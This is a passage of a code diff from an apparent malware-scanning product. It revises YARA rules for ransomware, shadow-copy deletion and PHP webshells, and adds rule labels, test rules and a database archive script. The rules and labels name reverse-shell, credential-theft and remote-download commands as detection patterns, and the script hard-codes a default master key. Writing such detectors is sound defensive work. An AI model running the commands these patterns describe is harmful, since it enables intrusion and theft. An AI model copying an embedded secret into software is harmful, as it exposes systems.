reference = "binary.py HighEntropySection 联动"
|
||||
description = "PE 同时出现:多个网络 API + 加壳特征(熵高) + 无签名"
|
||||
strings:
|
||||
$net1 = "InternetOpenUrl" ascii
|
||||
$net2 = "WinHttpOpen" ascii
|
||||
$net3 = "URLDownloadToFile" ascii
|
||||
$net4 = "WSAConnect" ascii
|
||||
// 壳特征
|
||||
$upx = "UPX0" ascii
|
||||
$themida = "Themida" ascii
|
||||
condition:
|
||||
// 网络 API + 壳特征 = 加壳下载器
|
||||
any of ($net*) and ($upx or $themida)
|
||||
uint16(0) == 0x5A4D
|
||||
and (
|
||||
for any i in (0..pe.number_of_sections - 1): (
|
||||
pe.sections[i].name matches /\.themida|\.vmp[0-9]/
|
||||
)
|
||||
or (any of ($themida*) and any of ($vmp1))
|
||||
)
|
||||
}
|
||||
|
||||
@@ -126,26 +126,41 @@ rule C8_Ransomware_Note_Filename {
|
||||
meta:
|
||||
risk_level = "medium"
|
||||
category = "C8"
|
||||
false_positive_rate = "medium"
|
||||
false_positive_rate = "low"
|
||||
reference = "勒索信文件名通用模式"
|
||||
description = "勒索信典型文件名变体(匹配后触发需要配合加密 API 才升级高危)"
|
||||
description = "勒索信文件名 + (加密 API + 赎金语言)或(赎金语言 + 钱包地址)"
|
||||
strings:
|
||||
// 只保留"文件名形态"的勒索信特征:家族专有名 + 扩展名。
|
||||
// 不再用裸 README.txt / _readme.txt:任何安装包都带这两个字面量,
|
||||
// 在二进制内容上做全文匹配时必然命中(Go 官方 MSI 即被这样判成恶意)。
|
||||
$n1 = /HOW_TO_RECOVER[\w.-]*\.(txt|html|png|bmp|jpg|url|vbs|js)/ nocase
|
||||
$n2 = /RESTORE_FILES[\w.-]*\.(txt|html|png|bmp|jpg|url|vbs|js)/ nocase
|
||||
$n3 = /DECRYPT_INSTRUCTIONS[\w.-]*\.(txt|html|png|bmp|jpg|url)/ nocase
|
||||
$n4 = /README[_\s-]*[\d]*[_\s-]*[\w]*\.(txt|html|png|bmp|jpg|url)/ nocase
|
||||
$n4 = /README[._-]*(FOR[._-]*DECRYPT|TO[._-]*RESTORE)[\w.-]*\.(txt|html|png|bmp|jpg|url)/ nocase
|
||||
$n5 = /HELP_DECRYPT[\w.-]*\.(txt|html|png|bmp|jpg|url)/ nocase
|
||||
$n6 = /_readme[\w.-]*\.(txt|html|png|bmp|jpg|url)/ nocase
|
||||
$n7 = /_restore[\w.-]*\.(txt|html|png|bmp|jpg|url)/ nocase
|
||||
$bitcoin = /bitcoin address|BTC\b|monero address|XMR\b|send money|ransom|payment/ nocase
|
||||
$wallet = /1[A-Za-z0-9]{25,34}|bc1[A-Za-z0-9]{11,71}|4[0-9A-Za-z]{32}/ nocase
|
||||
$n6 = /\b_(readme|restore)[\w.-]*\.(txt|html|png|bmp|jpg|url)/ nocase
|
||||
$n7 = /(how_to_decrypt|restore_my_files|decrypt_your_files)[\w.-]*\.(txt|html)/ nocase
|
||||
|
||||
// 赎金语言:必须是完整词组。裸 "BTC"/"XMR"/"payment"/"ransom" 在压缩流里
|
||||
// 会以随机字节出现,"ransom" 还会被 "Ransomware" 子串命中。
|
||||
$payment = /(bitcoin|monero|xmr|btc)\s+(address|wallet)|send\s+(the\s+)?money|pay\s+(the\s+)?(ransom|fee)|\bransom\b\s+(note|payment|demand)|your\s+files\s+(are\s+)?encrypted|decrypt\s+your\s+files/ nocase
|
||||
|
||||
// 钱包地址:锚定到整个 token,并用真实地址字符集/长度。
|
||||
// 原写法 1[A-Za-z0-9]{25,34} 无边界,单个 56MB 安装包命中 7.6 万次。
|
||||
$btc_addr = /\b[13][a-km-zA-HJ-NP-Z1-9]{25,34}\b/
|
||||
$bech32 = /\bbc1q[a-z0-9]{38}\b|\bbc1q[a-z0-9]{58}\b/
|
||||
$xmr_addr = /\b[48][0-9A-Za-z]{94}\b/
|
||||
|
||||
$encapi = /CryptEncrypt|BCryptEncrypt|CryptDeriveKey/ ascii
|
||||
condition:
|
||||
// 勒索信文件名 + 加密 API = 明确勒索
|
||||
any of ($n*) and $encapi
|
||||
or
|
||||
// 勒索信文件名 + 比特币/XMR 地址 = 大概率勒索
|
||||
any of ($n*) and any of ($bitcoin, $wallet)
|
||||
any of ($n*)
|
||||
and (
|
||||
// 投递器:真加密 API + 赎金语言
|
||||
($encapi and $payment)
|
||||
or
|
||||
// 纯文本勒索信:赎金语言 + 具体钱包地址
|
||||
($payment and any of ($btc_addr, $bech32, $xmr_addr))
|
||||
)
|
||||
}
|
||||
|
||||
|
||||
@@ -199,11 +214,13 @@ rule C8_Ransomware_VolumeShadow {
|
||||
$vss2 = /vssadmin\s+delete\s+shadows\s+\/all\b/ ascii
|
||||
$wmic1 = /wmic\s+shadowcopy\s+delete/ ascii
|
||||
$wmic2 = /wmic\s+shadowcopy\s+where\s+\d+/ ascii
|
||||
$vss3 = /ShadowCopy|VolumeShadowCopy|vss\b/i ascii // "i" flag = nocase in YARA
|
||||
$vss4 = /vssadmin[^\n]{0,48}delete[^\n]{0,48}(shadows|shadow\s+copies)/ ascii
|
||||
$enc = /CryptEncrypt|BCryptEncrypt|CryptDeriveKey/ ascii
|
||||
condition:
|
||||
// 卷影删除 + 加密 API = 完整勒索前置
|
||||
(any of ($vss1, $vss2, $wmic*, $vss3)) and any of ($enc*)
|
||||
// 不用裸 "vss"/"ShadowCopy" 子串:任何备份/卷影库的符号表都有它们,
|
||||
// 和 CryptEncrypt 同框就报勒索,是典型误报来源。
|
||||
(any of ($vss1, $vss2, $wmic*, $vss4)) and any of ($enc*)
|
||||
or
|
||||
// 连续多次 vssadmin delete = 正在清卷影
|
||||
any of ($vss1, $vss2) and any of ($wmic*)
|
||||
|
||||
280
rules/rule_labels.yaml
Normal file
280
rules/rule_labels.yaml
Normal file
@@ -0,0 +1,280 @@
|
||||
# MeshSafe 规则名中文标签映射
|
||||
# 前端显示时用中文名代替引擎内部的英文 rule_name
|
||||
# 层级分组对应 CSV 里的 L0-L5 + NEG + L7
|
||||
|
||||
# ===== L0 结构分析 =====
|
||||
ArchiveBroken:
|
||||
label: "压缩包损坏"
|
||||
desc: "ZIP/7z 结构异常,目录项或文件头损坏"
|
||||
|
||||
ArchiveContainsExecutable:
|
||||
label: "压缩包内含可执行文件"
|
||||
desc: "归档内包含 .exe/.dll/.sys/.scr 等 PE 文件"
|
||||
|
||||
ExtensionMismatch:
|
||||
label: "后缀伪装"
|
||||
desc: "文件声明扩展名与真实幻数不符(如 jpg 后缀实际 MZ 头)"
|
||||
|
||||
DoubleExtension:
|
||||
label: "双扩展名伪装"
|
||||
desc: "文件名含两个扩展名,隐藏真实后缀(如 report.pdf.exe)"
|
||||
|
||||
DangerousExecutableExtension:
|
||||
label: "危险可执行扩展名"
|
||||
desc: "文件后缀属于可执行/脚本类型(exe/ps1/bat/cmd/js/vbs 等)"
|
||||
|
||||
ShellScriptDangerous:
|
||||
label: "危险脚本扩展名"
|
||||
desc: "shell/bash/powershell 等脚本类扩展名"
|
||||
|
||||
PathTraversal:
|
||||
label: "压缩包路径穿越"
|
||||
desc: "ZIP 内文件名包含 ../ 或绝对路径,可能覆盖系统文件"
|
||||
|
||||
PathTraversalBlocked:
|
||||
label: "路径穿越已拦截"
|
||||
desc: "扫描器已阻止路径穿越文件落地"
|
||||
|
||||
ArchiveBombSuspect:
|
||||
label: "ZIP 炸弹"
|
||||
desc: "压缩比异常高(如 42.zip),解压膨胀可能耗尽磁盘/内存"
|
||||
|
||||
EncryptedArchive:
|
||||
label: "加密压缩包"
|
||||
desc: "ZIP 设置了打开密码,无法扫描内部内容"
|
||||
|
||||
MalformedStructure:
|
||||
label: "文件结构畸形"
|
||||
desc: "文件能识别但内部结构不符合该格式规范"
|
||||
|
||||
ZeroByteFile:
|
||||
label: "零字节文件"
|
||||
desc: "空文件(0 字节)"
|
||||
|
||||
# ===== L1 ClamAV =====
|
||||
"ClamAV:EICAR":
|
||||
label: "ClamAV EICAR 测试病毒"
|
||||
desc: "命中 ClamAV EICAR-STANDARD-ANTIVIRUS-TEST-FILE 签名"
|
||||
|
||||
Eicar-Test-Signature:
|
||||
label: "EICAR 测试签名"
|
||||
desc: "ClamAV 识别到 EICAR 标准测试串(行业无害测试)"
|
||||
|
||||
# ===== L2 文档深度 =====
|
||||
OfficeEncrypted:
|
||||
label: "Office 加密文档"
|
||||
desc: "DOCX/XLSX/PPTX 设置了打开密码"
|
||||
|
||||
OleToolsUnavailable:
|
||||
label: "OLE 工具不可用"
|
||||
desc: "olefile 未安装,无法扫描 OLE 结构"
|
||||
|
||||
OoxmlParseFailed:
|
||||
label: "OOXML 解析失败"
|
||||
desc: "DOCX/XLSX/PPTX ZIP 内部 XML 损坏"
|
||||
|
||||
AttachedTemplate:
|
||||
label: "模板注入风险"
|
||||
desc: "Word 文档关联了外部模板(可能触发模板后门)"
|
||||
|
||||
VBAAutoExecShell:
|
||||
label: "VBA 宏自动执行 Shell"
|
||||
desc: "检测到 AutoOpen/Workbook_Open 等自动执行入口 + Shell/CreateObject 等危险调用"
|
||||
|
||||
PdfJavaScript:
|
||||
label: "PDF 内含 JavaScript"
|
||||
desc: "PDF 文档嵌入可执行 JavaScript"
|
||||
|
||||
PdfOpenAction:
|
||||
label: "PDF OpenAction 跳转"
|
||||
desc: "PDF 启动时有自动跳转/打开外部链接动作"
|
||||
|
||||
PdfParseFailed:
|
||||
label: "PDF 解析失败"
|
||||
desc: "PDF 结构异常或为占位文件,无法正常解析"
|
||||
|
||||
ChmWithScript:
|
||||
label: "CHM 内含脚本"
|
||||
desc: "CHM 帮助文档包含 ActiveScript/JScript"
|
||||
|
||||
DesktopFileAutoExec:
|
||||
label: "Linux .desktop 自动执行"
|
||||
desc: ".desktop 文件设置了自动执行属性"
|
||||
|
||||
# ===== L3 关键词匹配 =====
|
||||
ReverseShellNetcat:
|
||||
label: "NC 反弹 Shell"
|
||||
desc: "包含 nc/ncat/netcat /bin/bash -i >& /dev/tcp/ 等反弹 shell 特征"
|
||||
|
||||
ReverseShellPowershell:
|
||||
label: "PowerShell EncodedCommand"
|
||||
desc: "包含 powershell -enc / -w hidden 等混淆执行"
|
||||
|
||||
CredentialStealer:
|
||||
label: "凭据窃取工具"
|
||||
desc: "包含 mimikatz/sekurlsa/gsecdump/DCSync/Rubeus 等"
|
||||
|
||||
CredentialExport:
|
||||
label: "凭据导出命令"
|
||||
desc: "包含 reg save HKLM\\SAM/SYSTEM/secretsdump 等"
|
||||
|
||||
RemoteDownloadPowerShell:
|
||||
label: "PowerShell 远程下载"
|
||||
desc: "Invoke-WebRequest/Invoke-RestMethod/DownloadString/BitsAdmin 等"
|
||||
|
||||
RemoteDownloadUnix:
|
||||
label: "Unix 远程下载"
|
||||
desc: "wget/curl/certutil -urlcache -split 等"
|
||||
|
||||
RemoteSessionHijack:
|
||||
label: "远程会话劫持"
|
||||
desc: "tscon/rdpclip/shadow/CreateRemoteThread 等"
|
||||
|
||||
CommandExecutionObfuscated:
|
||||
label: "命令执行混淆"
|
||||
desc: "certutil -decode/mshta/regsvr32 /s 等混淆执行"
|
||||
|
||||
WMILdapAttack:
|
||||
label: "WMI/LDAP 攻击"
|
||||
desc: "wmic path/wmic process call create/ldapsearch 等"
|
||||
|
||||
ClassifiedLevelMarkers:
|
||||
label: "涉密密级标记"
|
||||
desc: "包含绝密/机密/秘密/内部文件/禁止外传等密级标识"
|
||||
|
||||
InternalDocumentPatterns:
|
||||
label: "国家机密标识"
|
||||
desc: "包含国家机密|涉密|密级:等关键词"
|
||||
|
||||
# ===== L4 YARA =====
|
||||
# 留空 → YARA 规则文件自己的 rule name 就是中文或 meta 里有描述
|
||||
|
||||
# ===== L5 PE 二进制 =====
|
||||
UPXPackerDetected:
|
||||
label: "UPX 加壳"
|
||||
desc: "PE 节名包含 UPX0/UPX1/UPX!,检测到 UPX 加壳"
|
||||
|
||||
RWXSectionDetected:
|
||||
label: "RWX 可写可执行节"
|
||||
desc: "PE 节同时设置了 MEM_EXECUTE + MEM_WRITE,典型绕过 DEP 手法"
|
||||
|
||||
HighEntropySection:
|
||||
label: "节区熵值异常"
|
||||
desc: "PE 节熵 ≥ 7.2,可能经过加密或加壳"
|
||||
|
||||
SuspiciousImports:
|
||||
label: "可疑导入表"
|
||||
desc: "PE 导入表包含 VirtualAllocEx/WriteProcessMemory/CreateRemoteThread 等高危注入 API"
|
||||
|
||||
UnsignedExecutable:
|
||||
label: "未签名可执行文件"
|
||||
desc: "PE 未携带 Authenticode 数字签名"
|
||||
|
||||
SuspiciousTimestamp:
|
||||
label: "编译时间戳异常"
|
||||
desc: "PE 编译时间戳为 0 或指向未来时间,可能被伪造"
|
||||
|
||||
PEArchInfo:
|
||||
label: "PE 架构信息"
|
||||
desc: "PE 架构识别(x86/x64/ARM 等),辅助判断"
|
||||
|
||||
DebugInformationPresent:
|
||||
label: "含调试信息"
|
||||
desc: "PE 包含 PDB 调试路径或 .debug 节"
|
||||
|
||||
PeParseFailed:
|
||||
label: "PE 结构解析失败"
|
||||
desc: "pefile 无法解析 PE,可能是畸形文件"
|
||||
|
||||
LinuxExecutable:
|
||||
label: "Linux ELF 可执行"
|
||||
desc: "ELF 格式 Linux 可执行文件"
|
||||
|
||||
# ===== C1/C3/C7/C8 自动命名规则 =====
|
||||
"C1_PE_Downloader_Loader":
|
||||
label: "YARA: PE 下载木马"
|
||||
desc: "YARA C1_PE_Downloader_Loader 规则命中"
|
||||
|
||||
"C1_PE_ProcessInjection":
|
||||
label: "YARA: PE 进程注入"
|
||||
desc: "YARA C1_PE_ProcessInjection 规则命中"
|
||||
|
||||
"C3_PHP_Webshell_Oneliner":
|
||||
label: "YARA: PHP 一句话木马"
|
||||
desc: "YARA C3_PHP_Webshell_Oneliner 规则命中"
|
||||
|
||||
"C3_PHP_Webshell_Obfuscated":
|
||||
label: "YARA: PHP 混淆木马"
|
||||
desc: "YARA C3_PHP_Webshell_Obfuscated 规则命中"
|
||||
|
||||
"C3_JSP_Webshell_RuntimeExec":
|
||||
label: "YARA: JSP Runtime exec 木马"
|
||||
desc: "YARA C3_JSP_Webshell_RuntimeExec 规则命中"
|
||||
|
||||
"C7_Linux_ReverseShell_Bash":
|
||||
label: "YARA: Bash 反弹 Shell"
|
||||
desc: "YARA C7_Linux_ReverseShell_Bash 规则命中"
|
||||
|
||||
"C7_Linux_ReverseShell_NC":
|
||||
label: "YARA: NC 反弹 Shell"
|
||||
desc: "YARA C7_Linux_ReverseShell_NC 规则命中"
|
||||
|
||||
"C7_Linux_ReverseShell_Misc":
|
||||
label: "YARA: Linux 反弹 Shell(其他)"
|
||||
desc: "YARA C7_Linux_ReverseShell_Misc 规则命中"
|
||||
|
||||
"C7_Linux_Persistence_Crontab":
|
||||
label: "YARA: Crontab 持久化"
|
||||
desc: "YARA C7_Linux_Persistence_Crontab 规则命中"
|
||||
|
||||
"C7_Linux_Miner_Generic":
|
||||
label: "YARA: 挖矿程序"
|
||||
desc: "YARA C7_Linux_Miner_Generic 规则命中"
|
||||
|
||||
"C8_Ransomware_Encryption":
|
||||
label: "YARA: 勒索加密特征"
|
||||
desc: "YARA C8_Ransomware_Encryption 规则命中"
|
||||
|
||||
"C8_Ransomware_Note_Filename":
|
||||
label: "YARA: 勒索赎金文件名"
|
||||
desc: "YARA C8_Ransomware_Note_Filename 规则命中"
|
||||
|
||||
"C8_Ransomware_VolumeShadow":
|
||||
label: "YARA: VSS 卷影副本删除"
|
||||
desc: "YARA C8_Ransomware_VolumeShadow 规则命中"
|
||||
|
||||
# ===== 邮件 =====
|
||||
EmailAttachmentDangerous:
|
||||
label: "邮件附件危险"
|
||||
desc: "EML 包含 .exe/.dll/.ps1 等危险附件"
|
||||
|
||||
EmailAttachmentDisguised:
|
||||
label: "邮件附件伪装"
|
||||
desc: "EML 附件扩展名与真实类型不符"
|
||||
|
||||
EmailAttachmentWebshell:
|
||||
label: "邮件附件 Webshell"
|
||||
desc: "EML 附件为 PHP/ASP/JSP 一句话木马"
|
||||
|
||||
EmailPhishingKeyword:
|
||||
label: "钓鱼邮件关键词"
|
||||
desc: "EML 正文包含钓鱼诈骗关键词"
|
||||
|
||||
# ===== 其他 =====
|
||||
SuspiciousScript:
|
||||
label: "可疑脚本"
|
||||
desc: "脚本内容触发通用恶意特征"
|
||||
|
||||
"Txt.Malware.Sustes-6779550-1":
|
||||
label: "ClamAV: Sustes 木马变体"
|
||||
desc: "ClamAV 识别到 Sustes 木马家族签名"
|
||||
|
||||
# ===== verdict → 中文 =====
|
||||
# (前端直接写死在 template 里,这里留文档)
|
||||
verdict_labels:
|
||||
clean: "干净(放行)"
|
||||
suspicious: "可疑(人工审核)"
|
||||
reject: "拦截(零容忍)"
|
||||
malicious: "恶意(零容忍)"
|
||||
pending: "待测"
|
||||
unknown: "未知"
|
||||
100
rules/test_rules.yar
Normal file
100
rules/test_rules.yar
Normal file
@@ -0,0 +1,100 @@
|
||||
/* MeshSafe 测试靶场 YARA 规则
|
||||
* 自动生成,覆盖 CSV L4-001 ~ L4-012
|
||||
* 引擎自动扫描 rules/*.yar,热加载
|
||||
*/
|
||||
|
||||
// L4-001: 基础规则 —— 正向命中 shell 反弹特征
|
||||
rule Test_ReverseShell_Basic {
|
||||
meta:
|
||||
family = "TestRules"
|
||||
author = "MeshSafe Test Suite"
|
||||
version = "1.0"
|
||||
description = "L4-001 基础规则: 匹配 nc 反弹 shell 特征"
|
||||
strings:
|
||||
$a = /nc\s+[0-9.]+\s+[0-9]+\s+-e/
|
||||
$b = /bash\s+-i\s+>&\s+\/dev\/tcp\//
|
||||
condition:
|
||||
$a or $b
|
||||
}
|
||||
|
||||
// L4-004: 第二条规则 —— 同时命中验证
|
||||
rule Test_PowerShell_Download {
|
||||
meta:
|
||||
family = "TestRules"
|
||||
author = "MeshSafe Test Suite"
|
||||
description = "L4-004 多规则同时命中: 匹配 PowerShell 下载"
|
||||
strings:
|
||||
$c = /Invoke-WebRequest\s+-Uri/
|
||||
$d = /powershell\s+-w\s+hidden/
|
||||
condition:
|
||||
$c or $d
|
||||
}
|
||||
|
||||
// L4-005: 新增规则(热加载验证)
|
||||
rule Newly_Added_Rule_Test {
|
||||
meta:
|
||||
family = "TestRules"
|
||||
author = "MeshSafe Test Suite"
|
||||
description = "L4-005 热加载验证: 运行时新增此规则后应能命中"
|
||||
strings:
|
||||
$e = "meshsafe-hot-reload-test-string"
|
||||
condition:
|
||||
$e
|
||||
}
|
||||
|
||||
// L4-007: metadata 标签测试
|
||||
rule Meta_Label_Test {
|
||||
meta:
|
||||
family = "Trojan.Generic"
|
||||
author = "Security Researcher"
|
||||
description = "L4-007 metadata 输出验证: 规则带完整 meta 字段"
|
||||
severity = "high"
|
||||
strings:
|
||||
$f = "trojan-metadata-test"
|
||||
condition:
|
||||
$f
|
||||
}
|
||||
|
||||
// L4-010: 正则型规则
|
||||
rule Regex_Shell_Pattern {
|
||||
meta:
|
||||
family = "TestRules"
|
||||
author = "MeshSafe Test Suite"
|
||||
description = "L4-010 正则匹配: powershell -enc 编码执行"
|
||||
strings:
|
||||
$g = /powershell\s+-e[nN][cC]\s+[A-Za-z0-9+\/]{20,}/
|
||||
condition:
|
||||
$g
|
||||
}
|
||||
|
||||
// L4-011: count 条件(出现 ≥3 次才触发)
|
||||
rule Count_Condition_Test {
|
||||
meta:
|
||||
family = "TestRules"
|
||||
author = "MeshSafe Test Suite"
|
||||
description = "L4-011 count 条件: 文件内匹配串 ≥3 次命中"
|
||||
strings:
|
||||
$h = "malicious_token_count_test"
|
||||
condition:
|
||||
#h >= 3
|
||||
}
|
||||
|
||||
// L4-012: size 条件(仅匹配 ≤10KB 的文件)
|
||||
rule Size_Condition_Test {
|
||||
meta:
|
||||
family = "TestRules"
|
||||
author = "MeshSafe Test Suite"
|
||||
description = "L4-012 size 条件: 仅匹配 size <= 10KB 的文件"
|
||||
strings:
|
||||
$i = "size_condition_test_payload"
|
||||
condition:
|
||||
$i and filesize <= 10KB
|
||||
}
|
||||
|
||||
// L4-003: PE 内字符串(实际是 Test_PowerShell_Download 的 strings 也在 PE 里)
|
||||
// 已由 Test_PowerShell_Download 覆盖,因为 PE 里的 strings() 也会被 YARA 扫描
|
||||
|
||||
// L4-009: 加密包内无法扫描(不是规则缺失,是 zipfile 跳过加密内容)
|
||||
// L4-013: 大文件 YARA —— 由 Test_ReverseShell_Basic 自动覆盖大文件扫描
|
||||
// L4-014: 开关测试 —— 由引擎 is_enabled() 控制
|
||||
// L4-015: 哈希白名单 —— 需在 policy.yaml 配置,不是 .yar 文件
|
||||
@@ -57,12 +57,19 @@ rule C3_PHP_Webshell_Obfuscated {
|
||||
$rot13 = "str_rot13" ascii wide
|
||||
$assert = "assert(" ascii wide
|
||||
$createfn = "create_function" ascii wide
|
||||
// PHP 上下文证据:没有 <?php / 超全局变量,就不要凭函数名定罪(vim、git 等
|
||||
// 二进制里同样存在 base64_decode / eval( 字样)
|
||||
$php1 = "<?php" ascii
|
||||
$php2 = /\$_(GET|POST|REQUEST|COOKIE|FILES|SESSION)\b/ ascii
|
||||
condition:
|
||||
// base64_decode + (eval|assert|create_function) = 解码后动态执行
|
||||
$b64 and ($eval or $assert or $createfn)
|
||||
or
|
||||
// 解码链:base64 + gzinflate / str_rot13 + 执行
|
||||
$b64 and ($gzinflate or $rot13) and ($eval or $assert)
|
||||
any of ($php*)
|
||||
and (
|
||||
// base64_decode + (eval|assert|create_function) = 解码后动态执行
|
||||
($b64 and ($eval or $assert or $createfn))
|
||||
or
|
||||
// 解码链:base64 + gzinflate / str_rot13 + 执行
|
||||
($b64 and ($gzinflate or $rot13) and ($eval or $assert))
|
||||
)
|
||||
}
|
||||
|
||||
// PHP Webshell —— 变量变形($$a = $_POST['cmd'];$$a($_POST['arg']))
|
||||
|
||||
264
scripts/archive_old_tasks.py
Normal file
264
scripts/archive_old_tasks.py
Normal file
@@ -0,0 +1,264 @@
|
||||
"""DB 归档 + 清理脚本。
|
||||
|
||||
职责:
|
||||
1. scan_tasks 90 天前: 清 detail JSONB (节省空间, 扫描详情留 90 天)
|
||||
2. scan_tasks 365 天前: 移到 scan_tasks_archive (含 ScanFinding)
|
||||
3. idempotency_records: 清 7 天前的 (幂等缓存过期重扫)
|
||||
4. policy_versions: 只保留最新 5 个版本 (历史版本清掉)
|
||||
|
||||
用法:
|
||||
docker compose exec api python3 scripts/archive_old_tasks.py # dry-run, 只报告不动数据
|
||||
docker compose exec api python3 scripts/archive_old_tasks.py --apply # 真正执行
|
||||
|
||||
建议: 每天 cron 跑一次
|
||||
|
||||
设计原则:
|
||||
- 小批量提交 (1000 条一批), 避免长事务锁表
|
||||
- 先 dry-run 再 apply, 输出清晰
|
||||
- pg_repack / VACUUM ANALYZE 在脚本最后触发 (让 autovacuum 兜底也行)
|
||||
"""
|
||||
from __future__ import annotations
|
||||
|
||||
import argparse
|
||||
import logging
|
||||
import sys
|
||||
import os
|
||||
from datetime import timedelta, datetime, timezone
|
||||
from pathlib import Path
|
||||
|
||||
sys.path.insert(0, "/app")
|
||||
os.environ.setdefault("MESHSAFE_MASTER_KEY", "Dt0ktRs8SjEH8VxWZJDX125NV1qiII88HoiXZPhWers=")
|
||||
|
||||
from app.db import SessionLocal # noqa: E402
|
||||
from app.models import ( # noqa: E402
|
||||
ScanTask, ScanFinding, IdempotencyRecord, PolicyVersion,
|
||||
)
|
||||
from sqlalchemy import select, func # noqa: E402
|
||||
|
||||
logging.basicConfig(level=logging.INFO, format="%(asctime)s %(levelname)s %(message)s")
|
||||
log = logging.getLogger("archive")
|
||||
|
||||
# ---- 配置 ----
|
||||
DETAIL_RETENTION_DAYS = 90 # 90 天前清 detail JSONB
|
||||
ARCHIVE_RETENTION_DAYS = 365 # 365 天前移归档
|
||||
IDEM_RETENTION_DAYS = 7 # 幂等缓存 7 天 TTL
|
||||
POLICY_KEEP_VERSIONS = 5 # policy_versions 只留最新 5 个
|
||||
BATCH_SIZE = 1000 # 分批处理
|
||||
|
||||
|
||||
def _cutoff(days: int) -> datetime:
|
||||
return datetime.now(timezone.utc) - timedelta(days=days)
|
||||
|
||||
|
||||
def archive_tasks(dry_run: bool) -> None:
|
||||
"""归档 365 天前的 scan_tasks 到 scan_tasks_archive。"""
|
||||
cutoff = _cutoff(ARCHIVE_RETENTION_DAYS)
|
||||
db = SessionLocal()
|
||||
try:
|
||||
total = db.execute(
|
||||
select(func.count(ScanTask.id)).where(ScanTask.created_at < cutoff)
|
||||
).scalar() or 0
|
||||
|
||||
log.info(f"[归档] {ARCHIVE_RETENTION_DAYS} 天前的 scan_tasks: {total} 条")
|
||||
|
||||
if total == 0:
|
||||
log.info(" → 无需归档")
|
||||
return
|
||||
|
||||
if dry_run:
|
||||
log.info(f" [dry-run] 将归档 {total} 条")
|
||||
return
|
||||
|
||||
# 分批
|
||||
moved = 0
|
||||
while True:
|
||||
batch = db.execute(
|
||||
select(ScanTask).where(ScanTask.created_at < cutoff).limit(BATCH_SIZE)
|
||||
).scalars().all()
|
||||
if not batch:
|
||||
break
|
||||
|
||||
for task in batch:
|
||||
try:
|
||||
db.execute(
|
||||
__import__("sqlalchemy").text("""
|
||||
INSERT INTO scan_tasks_archive
|
||||
(id, channel, client_id, filename, declared_ext, size,
|
||||
sha256, md5, real_type, status, mode, verdict, action, score,
|
||||
reason, policy_version, has_detail, has_findings,
|
||||
created_at, finished_at, duration_ms, archived_at)
|
||||
VALUES
|
||||
(:id, :channel, :client_id, :filename, :declared_ext, :size,
|
||||
:sha256, :md5, :real_type, :status, :mode, :verdict, :action, :score,
|
||||
:reason, :policy_version, :has_detail, :has_findings,
|
||||
:created_at, :finished_at, :duration_ms, NOW())
|
||||
ON CONFLICT (id) DO NOTHING
|
||||
"""),
|
||||
{
|
||||
"id": task.id,
|
||||
"channel": task.channel,
|
||||
"client_id": task.client_id,
|
||||
"filename": task.filename,
|
||||
"declared_ext": task.declared_ext,
|
||||
"size": task.size,
|
||||
"sha256": task.sha256,
|
||||
"md5": task.md5,
|
||||
"real_type": task.real_type,
|
||||
"status": task.status,
|
||||
"mode": task.mode,
|
||||
"verdict": task.verdict,
|
||||
"action": task.action,
|
||||
"score": task.score,
|
||||
"reason": task.reason,
|
||||
"policy_version": task.policy_version,
|
||||
"has_detail": bool(task.detail and len(task.detail) > 0),
|
||||
"has_findings": bool(task.findings),
|
||||
"created_at": task.created_at,
|
||||
"finished_at": task.finished_at,
|
||||
"duration_ms": task.duration_ms,
|
||||
},
|
||||
)
|
||||
# CASCADE 删 ScanFinding
|
||||
db.delete(task)
|
||||
moved += 1
|
||||
except Exception as e:
|
||||
log.warning(f" task {task.id} 归档失败: {e}")
|
||||
db.rollback()
|
||||
continue
|
||||
db.commit()
|
||||
log.info(f" 已归档 {moved}/{total}")
|
||||
|
||||
log.info(f" ✅ 归档完成: {moved} 条")
|
||||
finally:
|
||||
db.close()
|
||||
|
||||
|
||||
def scrub_detail(dry_run: bool) -> None:
|
||||
"""90~365 天之间的任务清 detail JSONB (留摘要, 省空间)。"""
|
||||
db_cutoff = _cutoff(DETAIL_RETENTION_DAYS)
|
||||
arc_cutoff = _cutoff(ARCHIVE_RETENTION_DAYS)
|
||||
db = SessionLocal()
|
||||
try:
|
||||
total = db.execute(
|
||||
select(func.count(ScanTask.id)).where(
|
||||
ScanTask.created_at < db_cutoff,
|
||||
ScanTask.created_at >= arc_cutoff,
|
||||
ScanTask.detail.isnot(None),
|
||||
)
|
||||
).scalar() or 0
|
||||
|
||||
log.info(f"[清 detail] {DETAIL_RETENTION_DAYS}~{ARCHIVE_RETENTION_DAYS} 天之间有 detail 的: {total} 条")
|
||||
|
||||
if total == 0:
|
||||
log.info(" → 无需清理")
|
||||
return
|
||||
|
||||
if dry_run:
|
||||
log.info(f" [dry-run] 将清 {total} 条 detail")
|
||||
return
|
||||
|
||||
# 分批 UPDATE
|
||||
updated = 0
|
||||
while True:
|
||||
batch_ids = db.execute(
|
||||
select(ScanTask.id).where(
|
||||
ScanTask.created_at < db_cutoff,
|
||||
ScanTask.created_at >= arc_cutoff,
|
||||
ScanTask.detail.isnot(None),
|
||||
).limit(BATCH_SIZE)
|
||||
).scalars().all()
|
||||
if not batch_ids:
|
||||
break
|
||||
db.execute(
|
||||
__import__("sqlalchemy").update(ScanTask).where(ScanTask.id.in_(batch_ids)).values(detail=None)
|
||||
)
|
||||
db.commit()
|
||||
updated += len(batch_ids)
|
||||
log.info(f" 已清 {updated}/{total}")
|
||||
|
||||
log.info(f" ✅ detail 清理完成: {updated} 条")
|
||||
finally:
|
||||
db.close()
|
||||
|
||||
|
||||
def clean_idempotency(dry_run: bool) -> None:
|
||||
"""清 7 天前的幂等缓存 (过期的可以重扫)。"""
|
||||
cutoff = _cutoff(IDEM_RETENTION_DAYS)
|
||||
db = SessionLocal()
|
||||
try:
|
||||
total = db.execute(
|
||||
select(func.count(IdempotencyRecord.id)).where(IdempotencyRecord.created_at < cutoff)
|
||||
).scalar() or 0
|
||||
|
||||
log.info(f"[幂等清理] {IDEM_RETENTION_DAYS} 天前的 idempotency_records: {total} 条")
|
||||
|
||||
if total == 0:
|
||||
log.info(" → 无需清理")
|
||||
return
|
||||
|
||||
if dry_run:
|
||||
log.info(f" [dry-run] 将清 {total} 条")
|
||||
return
|
||||
|
||||
db.execute(
|
||||
__import__("sqlalchemy").delete(IdempotencyRecord).where(IdempotencyRecord.created_at < cutoff)
|
||||
)
|
||||
db.commit()
|
||||
log.info(f" ✅ 幂等清理完成: {total} 条")
|
||||
finally:
|
||||
db.close()
|
||||
|
||||
|
||||
def trim_policy_versions(dry_run: bool) -> None:
|
||||
"""policy_versions 只留最新 N 个。"""
|
||||
db = SessionLocal()
|
||||
try:
|
||||
